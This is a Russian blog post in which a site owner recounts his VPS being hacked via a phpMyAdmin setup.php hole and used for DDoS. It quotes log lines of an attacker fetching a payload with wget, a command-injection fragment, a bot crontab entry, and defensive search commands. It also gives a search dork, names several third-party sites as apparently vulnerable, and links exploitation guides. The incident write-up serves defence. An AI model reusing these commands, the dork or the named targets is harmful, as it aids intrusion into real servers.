Как меня взломали | akvatopia.ru

Как меня взломали

Сижу однажды смотрю "Южный Парк" во вконтакте, никого не трогаю. И тут приходит сообщение от яндекс.метрики что мой VPS сервер не доступен. Удивляюсь, проверяю. Действительно не открывается. Захожу в админку хостера. А там "приятное" сообщение:

Тема: Блокировка сервера
От: Alexander B. - 2012-08-05 00:06:28
С вашего VDS осуществляется удаленная атака на сторонний сервер. Это противоречит условиям предоставления услуг. Ваш VDS остановлен. Ждем объяснений.

Host Ip Proto Bytes Flows bps bpp
akvatopia.ru. 62.109.15.180 UDP 4.8G 354392 63.9M 1498

Удивился еще больше. Перегрузил VDS-ку и начал смотреть логи.

В /var/log/apache2/error.log нашел следующее:

1
2
3
4
5
6
7
8
9
10
11
12
13
[Fri Aug 03 21:59:20 2012] [error] [client 177.103.175.245] File does not exist: /htdocs
[Sat Aug 04 09:58:31 2012] [error] [client 188.116.200.75] File does not exist: /htdocs
sh: -c: line 1: syntax error near unexpected token `;'
sh: -c: line 1: `; 1> /tmp/zcmdtemp 2>&1; cat /tmp/zcmdtemp; rm -rf /tmp/zcmdtemp'
[Sat Aug 04 18:33:15 2012] [error] [client 125.21.246.70] File does not exist: /htdocs
--2012-08-04 18:56:44--  http://www.lorrainejordan.com/osc.txt
Resolving www.lorrainejordan.com... 69.27.101.88
Connecting to www.lorrainejordan.com|69.27.101.88|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 33860 (33K) [text/plain]
Saving to: `osc.txt'

     0K .......... .......... .......... ...                  100% 53.8K=0.6s

Стало понятно что взломали через кривой php скрипт.

Но как найти через какой? На сервере больше 20 доменов. Все раскиданы по разным пользователям. Внимательно изучать каждый вручную? Это будет долго и можно легко упустить нужный запрос в логе. Что делать?

Пока пытался придумать однострочник в bash-e чтобы погрепать сразу во всех логах, ввел такую команду:

1
find /var/www/ -name "*.log"

И тут же выцепил файлы psybnc бота который используется для контроля и организации ddos-атак.

1
2
3
4
/var/www/%user%/data/logs/%domian1%.ru.error.log
/var/www/%user%/data/logs/%domian2%.ru.error.log
/var/www/%user%/data/www/%domain%/a9123412%sape-code%3412324123/.bob/log/psybnc.log
/var/www/%user%/data/logs/%domain3%.ru.access.log

Запихали его в директорию с sape-скриптом! Вот гады. Впрочем, это понятно. Она доступна на запись любому.

Посмотрел что там внутри:

1
2
3
4
5
6
7
8
# ls -al
drwxrwxrwx 3 aaauser2 aaauser2    200 2012-08-04 18:57 .
drwxr-xr-x 7 aaauser2 aaauser2   1112 2012-06-08 12:00  ..
drwx------ 7 www-data www-data    496 2012-06-17 12:53  .bob
-rw-r--r-- 1 www-data www-data 141227 2008-12-11 19:27  bobpsy.tar.gz.1
-rw-r--r-- 1 www-data www-data 141227 2008-12-11 19:27  bobpsy.tar.gz.1.1
-rw-r--r-- 1 aaauser2 aaauser2  64731 2012-06-03 03:59  sape.php
-rw------- 1 www-data aaauser2   5257 2012-06-17 01:47  wp-pdf.php

Обнаружил скрипт через который взломали и запустили ддос - wp-pdf.php.

После этого уже нашел и обращение к нему в логах:

1
112.198.77.139 - - [04/Aug/2012:18:19:48 +0400] "GET /a3412%sapecode%1223432/wp-pdf.php HTTP/1.1" 200 4431 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0"

Вот еще список полезных строчек bash-команд для поиска подозрительных файлов на вашем сервере:

1
2
3
4
5
6
7
8
9
10
11
12
# Поиск по пользователю, группе apache
find /var/www/ -user www-data
find /var/www/ -group www-data

# Поиск обращения к файлу по всем логам
find /var/www/ -name "*.log" | xargs cat '{}' | grep 'wp-pdf.php'

# Тоже самое, но теперь в архивных, запакованных логах.
find /var/www/ -name "*.gz" | xargs zcat '{}' | grep 'wp-pdf.php'

# Ищем файлы доступные любому для чтения
find /var/www/ -perm -o=w

И, кстати, анализируя запускаемые скрипты бэкдора, обнаружил подарочек в crontab-е.

1
2
# crontab -u www-data -l
0,10,20,30,40,50 * * * * /var/www/aaauser2/data/www/%domain1%.ru/a1231%sapecode%231324/.bob/boby2k >/dev/null 2>&1

Такое тоже надо не забывать вычищать.


Понятно что файл wp-pdf.php оставили как запасной вход (back-door). А взломали раньше. Причем я догадываюсь даже через что. Через открытый установочный файл scripts/setup.php, панель ispmanager на debian-е этим грешит. Потом я закрыл его для всех, поставил 0700 на файл setup.php (можно убедится тут http://akvatopia.ru/myadmin/scripts/setup.php). Но вот за бекдором и не усмотрел, как оказалось.

Вот для любопытных такое же в гугле:
http://www.google.ru/search?q=allinurl:scripts/setup.php&start=100
phpMyAdmin 2.11.8.1deb5+lenny3 setup
phpMyAdmin 2.11.4 setup
phpMyAdmin 2.8.2.2 setup
phpMyAdmin 2.11.3-rc1 setup

Реальный пример, по-видимому, уязвимых сайтов:
http://w3.uniroma1.it/phpmyadmin/scripts/setup.php
http://www.mrrda.com/public/_phpmyadmin/scripts/setup.php
http://kunden.goracer.de/phpmyadmin/18377/scripts/setup.php

Вот как это выглядит:

Описание самой баги:
http://www.securityfocus.com/bid/37861
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-4605
http://onsec.ru/php-unserialize.pdf

Как использовать:
http://rdot.org/forum/showthread.php?t=347
http://www.xakep.ru/post/52128/
http://forum.antichat.ru/showthread.php?t=239845
http://pastebin.com/GrVvx544

Но эта уязвимость старая, поэтому скорее всего уже везде прикрыта.


Таким вот образом навыки information security пригождаются иногда и в seo.

В общем, не забывайте следить за своими сайтами. Проверяйте их на закладки и наличие неожиданных файлов. Для этого, например, самое простое что можно сделать, это создать полный листинг всех ваших веб-файлов через ls -alR. Нестандартные, необычные файлы будут сразу бросаться в глаза даже при беглом его просмотре.

Такие дела.

Tweet
хорошоплохо (никто еще не проголосовал)
Loading...Loading...
1 Comment

One Response

  1. Anonymous:

    - Сервер, они убили сервер!
    — Сволочи!
    (с) Южный парк

Leave a Reply

Using Gravatars in the comments - get your own and be recognized!

XHTML: These are some of the tags you can use: <a href=""> <b> <blockquote> <code> <em> <i> <strike> <strong>